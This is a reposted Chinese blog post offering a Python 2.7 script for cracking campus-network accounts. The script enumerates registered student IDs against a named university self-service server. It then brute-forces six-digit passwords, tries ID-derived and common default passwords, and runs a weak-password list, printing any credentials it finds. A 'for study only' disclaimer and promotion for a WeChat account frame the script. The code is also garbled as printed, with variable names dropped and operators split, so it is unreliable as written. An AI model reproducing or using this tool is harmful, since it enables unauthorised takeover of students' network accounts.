校园网密码破解程序

简介:

环境:Python 2.7

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
#!/usr/bin/env python
#coding=utf8
print  "+" * 50
print  u "功能:简单破解校园网账号"
print  u "微信公众号:电脑趣事"
print  u "仅供学习交流使用,严禁违法犯罪,否则后果自负"
print  "+" * 50
 
import  httplib
import  urllib
import  re
 
 
username = []
httpClient  =  None
If_password  = [ 000000 , 123456 , 123123 , 456456 , 789789 , 110110 , 110120 , 111111 , 222222 , 333333 , 444444 , 555555 , 666666 , 777777 , 888888 , 999999 , 5201314 ]
 
def  Determine():
     nj  =  int ( raw_input ( "please select a class 15,16,17:" ).strip())
     start  = int ( raw_input ( "please input start(Prompt:1234):" ).strip())
     end  =  int ( raw_input ( "please input end(Prompt:5678):" ).strip())
     
     if  (end < = start  or  (nj ! =  15  and  nj ! =  16  and  nj! = 17 )):
         print  u "输入有误,请重新选择"
         print  '=' * 50
         menu()
         exit()
     else :
         print  "please wait a moment "
 
     #构造学号
     for  in  range (start,end):
         for  in  range ( 0 , 100 ):
             key_numer  =  int ( str (nj) + str (i).zfill( 4 ) + str (j).zfill( 3 ))
             
             try :
                 params  =  urllib.urlencode({ 'key' : key_numer})
                 headers  =  { "Content-type" "application/x-www-form-urlencoded" , "Accept" "text/plain" }
                 httpClient  =  httplib.HTTPConnection( "10.54.100.1" 8080 , timeout = 30 )
                 httpClient.request( "POST" "/selfservice/module/userself/web/userself_reg_ajax.jsf?methodName=regUserinfoBean.checkUser" , params, headers)
                 response  =  httpClient.getresponse()
                 right_or_wrong  =  response.read()
                 #正则和判断
                 zhengze  =  re.findall( r 'false' ,right_or_wrong , re.M|re.I)
                 if  len (zhengze)  = =  1 :
                     username.append(key_numer)
                 
             except  Exception, e:
                 print  e
             finally :
                 if  httpClient:
                     httpClient.close()
     print  "." * 50
     print  u "在这个范围内已开通的账号有:"
     print  ""
     print  username
     print  "." * 50
     return  username
 
def  Connect(UserName,PassWord):
     global  a
     try :
         params  =  urllib.urlencode({ 'name' : UserName, 'password' :PassWord})
         headers  =  { "Content-type" "application/x-www-form-urlencoded" , "Accept" "text/plain" }
         httpClient  =  httplib.HTTPConnection( "10.54.100.1" 8080 , timeout = 30 )
         httpClient.request( "POST" "/selfservice/module/scgroup/web/login_judge.jsf" , params, headers)
         response  =  httpClient.getresponse()
         right_or_wrong  =  response.read()
 
         pipei  =  re.findall(r 'errorMsg' , right_or_wrong, re.M|re.I)
         if  len (pipei) = = 1 :
             =  0  #判断是否爆破出来的标记
             pass
         else :
             print  u "账号:%s\000\000密码:%s" % (UserName,PassWord)
             =  1
             
     except  Exception, e:
         print  e
     finally :
         if  httpClient:
             httpClient.close()
     return  a
 
def  yanzheng():
     UserName  =  str ( raw_input ( "please select a username input:" ).strip())
     for  in  range ( 0 , 1000000 ):
         PassWord  =  str (i).zfill( 6 )
         Connect(UserName,PassWord)
         if  = =  1 :
             break
         else :
             pass
 
def  Default_password_single():
     UserName  =  str ( raw_input ( "please select a username input:" ).strip())
     PassWord  =  UserName[ 3 : 10 ]
     Connect(UserName,PassWord)
     if  = = 0 :
         PassWord  =  '123456'
         Connect(UserName,PassWord)
         if  a = = 0 :
             print  u "已经查找完成"
 
def  Default_password_not_single():
     print  "please wait a moment"
     for  in  range ( 0 , len (username)):
         UserName  =  str (username[i])
         PassWord  =  UserName[ 3 : 10 ]
         Connect(UserName,PassWord)
         if  = = 0 :
             PassWord  =  '123456'
             Connect(UserName,PassWord)
             if  (i = = len (username) - 1  and  = =  0 ):
                 print  u "已经查找完成"
 
def  if_password():
     print  "please wait a moment"
     for  in  range ( 0 , len (username)):
         UserName  =  str (username[i])  
         for  in  range ( 0 , len (If_password)):
             PassWord  =  If_password[j]
             Connect(UserName,PassWord)
             if  (i = = len (username) - 1  and  j = = len (If_password) - 1  and  = =  0 ):
                 print  u "已经查找完毕"           
 
 
 
def  menu():
     print  u "欢迎大家关注微信公众号:“电脑趣事”,请选择菜单"
     while  True :
         print  "*" * 50
         print  u "\t(1) 查看已经注册的账号"
         print  u "\t(2) 简单的爆破"
         print  u "\t(3) 默认密码单个查询"
         print  u "\t(4) 默认密码批量查询"
         print  u "\t(5) 弱口令爆破"
         print  "*" * 50
         choices  =  raw_input ( "Please choices:" ).strip()
         if  len (choices)  = =  0 :
             continue
         if  choices  = =  '1' :
             Determine()
         elif  choices  = =  '2' :
             yanzheng()
         elif  choices  = =  '3' :
             Default_password_single()
         elif  choices  = =  '4' :
             Default_password_not_single()
         elif  choices  = =  '5' :
             if_password()
         else :
             print  u "请注意账号安全!"
             exit()
 
 
if  __name__  = =  '__main__' :
     menu()
    







微信公众号

wKioL1nnZnCRPP2MAAAhInXKMzc013.jpg


本文转自 天道酬勤VIP 51CTO博客,原文链接:http://blog.51cto.com/tdcqvip/1973967


相关文章
|
8月前
|
安全 网络协议 网络安全
浅谈内网渗透
内网穿透即NAT穿透,在处于使用了NAT设备的私有TCP/IP网络中的主机之间建立连接的问题。通过映射端口,让外网的电脑找到处于内网的电脑。拿.....
|
8月前
|
监控 安全 算法
安全远控如何设置?揭秘ToDesk、TeamViewer 、向日葵安全远程防御大招
本文我将测试 ToDesk、TeamViewer、向日葵这三款远程控制软件,通过实际操作来对比三款软件的安全性,并给出自己的使用建议。
347 1
安全远控如何设置?揭秘ToDesk、TeamViewer 、向日葵安全远程防御大招
|
安全 Linux 数据安全/隐私保护
|
数据安全/隐私保护 Windows
|
数据安全/隐私保护
|
前端开发 网络协议 Linux